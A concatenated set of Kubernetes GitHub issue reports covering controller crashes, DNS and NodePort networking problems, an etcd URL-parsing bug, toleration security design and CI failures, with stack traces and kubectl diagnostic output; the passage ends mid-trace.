<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r we have at least one report of the v1.7.1 kube-controller-manager binary on a master machine crash looping.\r \r   stack trace:  \r <details>\r \r    \r e0721 18:50:07.099437       7 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:290\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/cinder/cinder.go:97\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/plugins.go:384\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_generator.go:119\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_executor.go:647\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_executor.go:616\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler.go:131\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler.go:122\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler.go:115\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler.go:98\r /usr/local/go/src/runtime/asm_amd64.s:2197\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r         panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x2b0b6c5 \r \r goroutine 1016  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x3091b80, 0x50f6190 \r         /usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/pkg/volume/cinder.  cinderplugin .cansupport 0xc42050fa60, 0x0, 0xc4207355a0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/cinder/cinder.go:97 +0x5\r k8s.io/kubernetes/pkg/volume.  volumepluginmgr .findpluginbyspec 0xc420d7d700, 0x0, 0x0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/plugins.go:384 +0x153\r k8s.io/kubernetes/pkg/volume/util/operationexecutor.  operationgenerator .generatevolumesareattachedfunc 0xc420d7edb0, 0xc42211ec00, 0x8, 0x8, 0xc4216fe0f0, 0x23, 0x7f2ecfa82f80, 0xc420d7ed80, 0x4010106, 0x1, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_generator.go:119 +0x14c\r k8s.io/kubernetes/pkg/volume/util/operationexecutor.  operationexecutor .verifyvolumesareattachedpernode 0xc4205341e0, 0xc42211ec00, 0x8, 0x8, 0xc4216fe0f0, 0x23, 0x7f2ecfa82f80, 0xc420d7ed80, 0xc4225b8270, 0x54 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_executor.go:647 +0x8d\r k8s.io/kubernetes/pkg/volume/util/operationexecutor.  operationexecutor .verifyvolumesareattached 0xc4205341e0, 0xc4225b82a0, 0x7f2ecfa82f80, 0xc420d7ed80 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_executor.go:616 +0xd80\r k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .syncstates 0xc420ddd7a0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler.go:131 +0xad\r k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .sync 0xc420ddd7a0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler.go:122 +0x51\r k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .reconciliationloopfunc.func1  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler.go:115 +0x1d9\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc421e44df0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc421e44df0, 0x5f5e100, 0x0, 0xc420ddd701, 0xc420248f00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc421e44df0, 0x5f5e100, 0xc420248f00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x4d\r k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .run 0xc420ddd7a0, 0xc420248f00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler.go:98 +0x50\r created by k8s.io/kubernetes/pkg/controller/volume/attachdetach.  attachdetachcontroller .run\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/attachdetach/attach_detach_controller.go:257 +0x2af\r    \r \r </details>\r \r   what you expected to happen  :\r \r not crash loop.\r \r   how to reproduce it  as minimally and precisely as possible   :\r uncertain\r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : master 1.7.1 node 1.5.3\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

> uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i just finished this tutorial on virtualbox: https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r   what you expected to happen  :\r when i did step \  optional  installing a sample application\  i expected to have a working website under master ip but i got connection refused.\r    \r kubectl -n sock-shop get svc front-end\r name        cluster-ip     external-ip   port s         age\r front-end   10.111.95.59   <nodes>       80:30001/tcp   12m\r    \r \r    \r root@ubuntu:~  kubectl get pods -n sock-shop\r name                            ready     status    restarts   age\r carts-2469883122-cs39q          1/1       running   0          14m\r carts-db-1721187500-3mlpr       1/1       running   0          14m\r catalogue-4293036822-nnbsk      1/1       running   0          14m\r catalogue-db-1846494424-ld97t   1/1       running   0          14m\r front-end-2337481689-lx0p6      1/1       running   0          14m\r orders-733484335-c9kjb          1/1       running   0          14m\r orders-db-3728196820-rdc6l      1/1       running   0          14m\r payment-3050936124-clp99        1/1       running   0          14m\r queue-master-2067646375-brgsf   1/1       running   0          14m\r rabbitmq-241640118-wk6zl        1/1       running   0          14m\r shipping-2463450563-trqgf       1/1       running   0          14m\r user-1574605338-czrkg           1/1       running   0          14m\r user-db-3152184577-wjvcx        1/1       running   0          14m\r    \r \r    \r root@ubuntu:~  curl 127.0.0.1:30001\r curl:  7  failed to connect to 127.0.0.1 port 30001: connection refused\r    \r \r    \r root@ubuntu:~  curl 192.168.0.241:30001\r curl:  7  failed to connect to 192.168.0.241 port 30001: connection refused\r    \r \r    \r root@ubuntu:~  curl 10.111.95.59:30001\r curl:  7  failed to connect to 10.111.95.59 port 30001: connection timed out\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r i got 1 master and 3 workers on virtualbox, network is done over flannel.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: v1.7.2\r - os  e.g. from /etc/os-release :\r - kernel: linux ubuntu 4.10.0-19-generic  21-ubuntu smp thu apr 6 17:04:57 utc 2017 x86_64 x86_64 x86_64 gnu/lin\r - others: virtualbox\r

the test in https://github.com/googlecloudplatform/kubernetes/pull/5274 starts a bunch of operations on the server that fight over changing boundpods. eventually apiserver crashed.  we should measure how many mutating operations we have, and we should rate-limit it. giving some clients a bad experience is better than making the system unusable for everyone.

user cannot update the generation field by themselves, because the apiserver clears the change in  beforeupdate  https://github.com/kubernetes/kubernetes/blob/40212c17cdf4d7bc2a45c495cf0d37ebab032578/staging/src/k8s.io/apiserver/pkg/registry/rest/update.go l103 . this makes sense for native objects, because it would have confused controllers if user were allowed to change generation freely. the kubernetes's registry detects the spec change and increments the generation. but for custom resource, apiserver doesn't automatically increment  metadata.generation , so it's reasonable to allow user to update it.\r \r cc @nikhita @sttts @mbohlool @erictune \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r we should add  azure standard load balancer  https://docs.microsoft.com/en-us/azure/load-balancer/load-balancer-standard-overview  to support large clusters. benefits of azure standard load balancer include\r \r - extend back-end pool size from 100 to 1000\r - extend back-end pool boundary from availability set to virtual network and region\r - extend back-end pool from vmas/vmss to any vm instance in the virtual network\r - high availability ports and vip\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r \r \r \r   what happened  :\r when update a statefulset , it delete old pod firstly, then create new pod.  it's different from rc or deployment.  sometimes , this can lead to service interruptions. what's the reason for this design?\r because statefulset pods have a unique identity ?\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r node external ip is set when useinstancemetadata is set true, but not when useinstancemetadata is disabled. \r \r   what you expected to happen  :\r \r node external ip is set regardless of useinstancemetadata setting.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r i lost my custom labels after doing a cluster manual upgrade from 1.9.2 to 1.9.6 in gcp web platform\r \r   what you expected to happen  :\r not to lost my labels\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r \r previously running kubeadm, kubelet 1.12.1, had to apply coredns patch to fix issue that has been diagnosed as per  dns-debugging-resolution  https://kubernetes.io/docs/tasks/administer-cluster/dns-debugging-resolution/ \r \r    \r  gms@thalia0 ~ $ kubectl exec -ti busybox -- nslookup kubernetes.default\r server:    10.96.0.10\r address 1: 10.96.0.10\r \r nslookup: can't resolve 'kubernetes.default'\r command terminated with exit code 1\r    \r \r applied fix to coredns, as per  selector of kube-dns svc does not match coredns pod  https://github.com/kubernetes/kubernetes/issues/63900 issuecomment-389567090 \r \r unfortunately, this fix no longer works after upgrading to kubeadm, kubelet 1.13.1\r \r   what you expected to happen  :\r \r i expect coredns network to function properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r noted above.\r \r   anything else we need to know?  :\r \r    \r  gms@thalia0 ~ $ kubectl get deployment --namespace=kube-system\r name                   ready   up-to-date   available   age\r calico-typha           0/0     0            0           77d\r coredns                2/2     2            2           5s\r kubernetes-dashboard   1/1     1            1           21d\r \r    \r    \r  gms@thalia0 ~ $ kubectl get services --namespace=kube-system\r name                   type        cluster-ip       external-ip   port s          age\r calico-typha           clusterip   10.101.212.32    <none>        5473/tcp        77d\r kube-dns               clusterip   10.96.0.10       <none>        53/udp,53/tcp   35s\r kubernetes-dashboard   clusterip   10.106.105.232   <none>        443/tcp         21d\r \r    \r \r \r    \r  gms@thalia0 ~ $ kubectl describe svc kube-dns --namespace=kube-system\r name:              kube-dns\r namespace:         kube-system\r labels:            k8s-app=kube-dns\r                    kubernetes.io/cluster-service=true\r                    kubernetes.io/name=coredns\r annotations:       prometheus.io/port: 9153\r                    prometheus.io/scrape: true\r selector:          k8s-app=kube-dns\r type:              clusterip\r ip:                10.96.0.10\r port:              dns  53/udp\r targetport:        53/udp\r endpoints:         192.168.2.20:53,192.168.3.44:53\r port:              dns-tcp  53/tcp\r targetport:        53/tcp\r endpoints:         192.168.2.20:53,192.168.3.44:53\r session affinity:  none\r events:            <none>\r \r    \r \r    \r  gms@thalia0 ~ $ kubectl describe deployment coredns  --namespace=kube-system\r name:                   coredns\r namespace:              kube-system\r creationtimestamp:      fri, 11 jan 2019 09:41:10 -0600\r labels:                 k8s-app=kube-dns\r                         kubernetes.io/name=coredns\r annotations:            deployment.kubernetes.io/revision: 1\r selector:               k8s-app=kube-dns\r replicas:               2 desired | 2 updated | 2 total | 2 available | 0 unavailable\r strategytype:           rollingupdate\r minreadyseconds:        0\r rollingupdatestrategy:  1 max unavailable, 1 max surge\r pod template:\r   labels:           k8s-app=kube-dns\r   service account:  coredns\r   containers:\r    coredns:\r     image:       coredns/coredns:1.2.2\r     ports:       53/udp, 53/tcp, 9153/tcp\r     host ports:  0/udp, 0/tcp, 0/tcp\r     args:\r       -conf\r       /etc/coredns/corefile\r     limits:\r       memory:  170mi\r     requests:\r       cpu:        100m\r       memory:     70mi\r     liveness:     http-get http://:8080/health delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:  <none>\r     mounts:\r       /etc/coredns from config-volume  ro \r   volumes:\r    config-volume:\r     type:      configmap  a volume populated by a configmap \r     name:      coredns\r     optional:  false\r conditions:\r   type           status  reason\r   ----           ------  ------\r   available      true    minimumreplicasavailable\r oldreplicasets:  <none>\r newreplicaset:   coredns-69cbb76ff8  2/2 replicas created \r events:\r   type    reason             age    from                   message\r   ----    ------             ----   ----                   -------\r   normal  scalingreplicaset  2m27s  deployment-controller  scaled up replica set coredns-69cbb76ff8 to 2\r    \r \r \r pods are these:\r \r    \r  gms@thalia0 ~ $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns\r name                       ready   status    restarts   age\r coredns-69cbb76ff8-2px6h   1/1     running   0          2m\r coredns-69cbb76ff8-g4wbd   1/1     running   0          2m\r    \r \r logs are as follows  and look problematic, since it is not logging anything, even after adding  log  to the corefile section in the coredns configmap :\r \r    \r  gms@thalia0 ~ $ for p in $ kubectl get pods --namespace=kube-system -l k8s-app=coredns -o name ; do kubectl logs --namespace=kube-system $p; done\r \r    \r \r end point is up and running:\r \r    \r  gms@thalia0 ~ $ kubectl get ep kube-dns --namespace=kube-system\r name       endpoints                                                       age\r kube-dns   192.168.1.198:53,192.168.4.57:53,192.168.1.198:53 + 1 more...   6m32s\r \r    \r \r i tried the section \ are dns queries being received/processed\ , but the logs seem funky, since there is nothing being logged. \r \r also of note, is if i do a  ./force-update-deploy  as per  ./force-update-deployment coredns -n kube-system  https://github.com/kubernetes/kubernetes/issues/63900 issuecomment-430534767  and delete and recreate the coredns service as outlined above, the network functions fine for a few minutes, but then it will fail again.\r \r how can i get to the logs, given the problem noted above with log output?\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r also using kubeadm 1.13.1 and latest calico cni\r \r - cloud provider or hardware configuration:\r \r vm sphere virtualized machines in local server farm.\r \r - os  e.g. from /etc/os-release :\r \r rhel linux 7.6 vm\r \r - kernel  e.g.  uname -a  :\r \r  linux thalia0.domain 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 15 17:36:42 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r - others:\r \r 

this works:  kubectl create -f examples/secrets/secret.yaml   but, modify one of the base64 encoded fields to be invalid  such as by adding an extra  =  at the end , and try again.  you get this error message which is completely unhelpful:  error: no objects passed to create .

node e2e test should be run as part of the e2e conformance test suite. - figure out if the node e2e test should be run against every node in the cluster or just 1 node - support running tests using hooks provided by the cluster e2e framework for talking to the nodes - hook into existing test scripts - build node e2e with cluster e2e

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r etcd3 trimleft\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r release-1.3\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r -not applicable-\r \r \r   what happened  :\r if etcd server name starts with any of 'h','t' or 'p', api server truncates the leading characters and complains that it cannot connect to the etcd cluster. for e.g., if  --etcd-servers=http://his-etcd.abc.com:2379 , the api server tries connecting  is-etcd.abc.com:2379 .\r \r   how to reproduce it    as minimally and precisely as possible :\r in release-1.3, set  --etcd-servers=http://his-etcd.abc.com:2379 , when starting api server.\r \r the fix is to change  trimleft  to  trimprefix  in  pkg->storage->storagebackend->factory->etcd3.go

dear sira/madams,\r \r i use kubernetes v1.4.6 and see many   wc   processes. some processes are running for a month.\r \r    \r   ps aux | grep -c ' wc '\r 3790 \r   ps auxffww | grep ' wc ' | head -125 | tail -10\r root     29274  0.9  0.4 5705996 147268 ?      ssl  nov24 505:52 /usr/bin/dockerd -h fd:// --mtu=1472 --bip=10.1.42.1/24\r root     29281  0.0  0.0 3388080 20264 ?       ssl  nov24   4:53  \\_ docker-containerd -l unix:///var/run/docker/libcontainerd/docker-containerd.sock --shim docker-containerd-shim --metrics-interval=0 --start-timeout 2m --state-dir /var/run/docker/libcontainerd/containerd --runtime docker-runc\r root     29533  0.0  0.0 282564   936 ?        sl   nov24   5:16  |   \\_ docker-containerd-shim 43862be3c4f16a0df9258806dff9bb3b4870d72e32b644442d2a57d5c9466a61 /var/run/docker/libcontainerd/43862be3c4f16a0df9258806dff9bb3b4870d72e32b644442d2a57d5c9466a61 docker-runc\r root     29549  4.7  0.3 815028 119500 ?       ssl  nov24 2536:05  |   |   \\_ /hyperkube kubelet --allow-privileged --api-servers=http://localhost:8080 --config=/etc/kubernetes/manifests-multi --cluster-dns=10.0.0.10 --cluster-domain=cluster.local --hostname-override=10.42.233.138 --v=2\r root     29585  0.0  0.0 379220 15696 ?        s    nov24   0:39  |   |       \\_ journalctl -k -f\r root     32761  0.0  0.0      0     0 ?        z    nov26   0:00  |   |       \\_  wc  <defunct>\r root      9058  0.0  0.0      0     0 ?        z    nov27   0:00  |   |       \\_  wc  <defunct>\r root     25592  0.0  0.0      0     0 ?        z    nov30   0:00  |   |       \\_  wc  <defunct>\r root     12461  0.0  0.0      0     0 ?        z    dec01   0:00  |   |       \\_  wc  <defunct>\r root     27458  0.0  0.0      0     0 ?        z    dec12   0:00  |   |       \\_  wc  <defunct>\r    \r \r you can answer what are generated by these processes, and is not this a bug?\r \r thank you.

i can't find a good way of monitoring kubernetes job failures. particularly if active_deadline_seconds expires. \r \r currently i can only \ actively\  check status by listing jobs, but some passive form of notification would be nice. i am looking for more elegant solution than setting up a separate server or cron job that will periodically check status of all jobs. \r \r for example, if some kubernetes component  e.g. heapster  would emit logs when job fails i could extract a logs-based alerting signal.\r \r i am using stackdriver logging and monitoring with gke.

failure cluster  ea6679417165f10786e6  https://go.k8s.io/triage ea6679417165f10786e6 \r       error text:\r    \r error during ./hack/e2e-internal/e2e-up.sh: exit status 1\r    \r \r testgrid: https://k8s-testgrid.appspot.com/google-gci ip-alias&width=5\r gubernator: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ip-alias/1303?log log\r \r  current status  https://go.k8s.io/triage ea6679417165f10786e6

a primary use case for taints and tolerations is to allow an administrator to statically carve a cluster into  dedicated node groups  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/taint-toleration-dedicated.md . the administrator sets  for example  a noschedule taint  dedicated=xxx  on a node to indicate that it is part of the  xxx  dedicated node group.  there may be many such groups in the cluster, e.g.  xxx ,  yyy ,  zzz , etc.  users who are allowed to run pods on the  xxx  group of nodes set a noschedule toleration for  dedicated=xxx  when they want a pod to be able to schedule on such a node.\r \r today, any user can set any toleration, so this mechanism cannot be used to securely partition the cluster.  the node taint side is fine, since rbac can limit write access to node objects to cluster admins.  rbac is not sufficient because it cannot be specified at the field  toleration in this case  granularity  and in fact even field granularity would not be sufficient, as some toleration key/value pairs may be acceptable for users to set, while others unacceptable . we need to fix this.\r \r note that there is no standard schema for taints and tolerations -- one cluster might use taint key  dedicated  while another might use taint key  nodegroup  or whatever.\r \r probably the best solution to this problem is to use an admission controller that admits or blocks pod creation and update when it sets a toleration on such a \ forbidden\  toleration key. the design doc for dedicated nodes  see link above  hypothesized that we would probably not want end-users to be setting dedicated node tolerations on their pods anyway, and instead would want an admission controller that sets them based on other properties of the pod  and/or auth information of the user . so this solution is pretty much in line with our original thinking for this feature, we just hadn't considered the security aspect. presumably the admission controller would be configured using something like a configmap, that would map pod properties  and possibly auth info  to toleration s  to set. note that users would still be able to set other tolerations; here we're just talking about the \ dedicated node group\  toleration.\r \r the configmap could itself be generated by a command-line tool that takes a high-level policy and converts it to the configmap and a script that runs  kubectl taint node  on the relevant nodes to set their dedicated node taints.\r \r ref/ kubernetes/community 721\r ref/  25320\r cc/ @q-lee \r cc/ @kubernetes/sig-auth-feature-requests \r cc/ @kubernetes/sig-scheduling-feature-requests \r

\r $ kubectl get clusterroles --all-namespaces\r namespace   name                                                                   age\r             admin                                                                  57d\r             cluster-admin                                                          57d\r             edit                                                                   57d\r             system:auth-delegator                                                  57d\r             system:basic-user                                                      57d\r             system:certificates.k8s.io:certificatesigningrequests:nodeclient       57d\r             system:certificates.k8s.io:certificatesigningrequests:selfnodeclient   57d\r             system:certificates.k8s.io:certificatesigningrequests:selfnodeserver   57d\r             system:controller:attachdetach-controller                              57d\r             system:controller:certificate-controller                               57d\r             system:controller:cronjob-controller                                   57d\r             system:controller:daemon-set-controller                                57d\r             system:controller:deployment-controller                                57d\r             system:controller:disruption-controller                                57d\r             system:controller:endpoint-controller                                  57d\r    \r \r this is wrong, cluster scoped resources should never have a namespace column.  we need to fix and add a test to ensure this doesn't regress.\r \r @kubernetes/sig-cli-bugs

swagger supports documentation of http status codes and payload returned, though i'm not sure how to represent different types for different status codes  e.g., status object vs. resource type .

is this a bug report or feature request?  : feature\r  \r \r   what happened  : \r we have kubernetes installed in openstack. however, because we have subnet there and one router. it means that all traffic from all namespaces is routed using same router. when using same router, the ip address to outside world is always the same. \r \r   what you expected to happen  :\r when using kubernetes in enterprises we would like to have possibility to use namespace specific snat ips to outside cluster. that would help to improve security for instance towards external databases. then we would have unique ip for namespace, if we want that. we are quite sure that no other project can make traffic with that ip to outside cluster.\r \r in openshift this thing is working pretty well already, it is doing exactly what i am requesting from kubernetes. https://docs.openshift.com/container-platform/3.9/admin_guide/managing_networking.html enabling-static-ips-for-external-project-traffic\r there we have one router in subnet as well, but we have \ egress nodes\  which have multiple interfaces assigned and floating ip addresses connected to those interfaces. then traffic from namespace is routed to these egress node machines and snatted out using specific interface, which have that floatingip. the result is that specific namespace traffic is using different ip address than default router ip.\r \r  \r

failing jobs\r  sig-release-1.12-all verify-1.12  https://k8s-testgrid.appspot.com/sig-release-1.12-all verify-1.12 \r   failing tests\r  verify godeps, verify staging-godeps  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-verify-beta/2327 \r \r  / /milestone v1.12\r /cc @tpepper @aishsundar \r 

the  namespace  deletion process is complex and requires orchestration. -  delete   namespace  marks it as  terminating  - controller observes  terminating   namespace    - for each  kind    - list  kind    - delete  kind  item by item  for  event  objects we added support for  delete_collection .  this operation does not reduce the number of operations to  etcd , but it can reduce the number of requests to  kube-api-server .  a few options to pursue: - add  delete_collection  support for other  kind s  must do  - explore keeping track of set of known  kind  resources in a  namespace .  the list could grow during admission of new resources into the  namespace .  orchestration of deletion could reference that information to know what  kind s are candidates to delete.   - an annotation is not appropriate to hold this information since it is too easily editable and could cause the controller to leak data by never cleaning it up.   - in practice, this is most likely an over-optimization that would only benefit our  e2e  setups, but noting it here.

seen in a customer's apiserver log:      i0128 22:46:04.428165       6 handlers.go:131  delete /api/v1/namespaces/default/pods/xxx-6ew2h-kyh0b:  3.144843ms  500 goroutine 1415  running : k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc209793b00, 0x1f4          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:188 +0x9a k8s.io/kubernetes/pkg/apiserver.  basetimeoutwriter .writeheader 0xc2098bc1a0, 0x1f4        /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:237 +0xba k8s.io/kubernetes/pkg/apiserver.writejson 0x1f4, 0x7f14f52c43a8, 0xc2080db6c0, 0x7f14f52c4ad0, 0xc209d49b80, 0x7f14f5112dd0, 0xc209813698, 0xc20804ea01                /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:389 +0x89 k8s.io/kubernetes/pkg/apiserver.errorjson 0x7f14f5112f98, 0xc20920daa0, 0x7f14f52c43a8, 0xc2080db6c0, 0x7f14f5112dd0, 0xc209813698, 0x0       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:416 +0xab k8s.io/kubernetes/pkg/apiserver.func·034 0xc208b5acf0, 0xc209793d40    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:564 +0xacb github.com/emicklei/go-restful.func·009 0xc208b5acf0, 0xc209793d40          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:244 +0x41 github.com/emicklei/go-restful.  filterchain .processfilter 0xc208b5aff0, 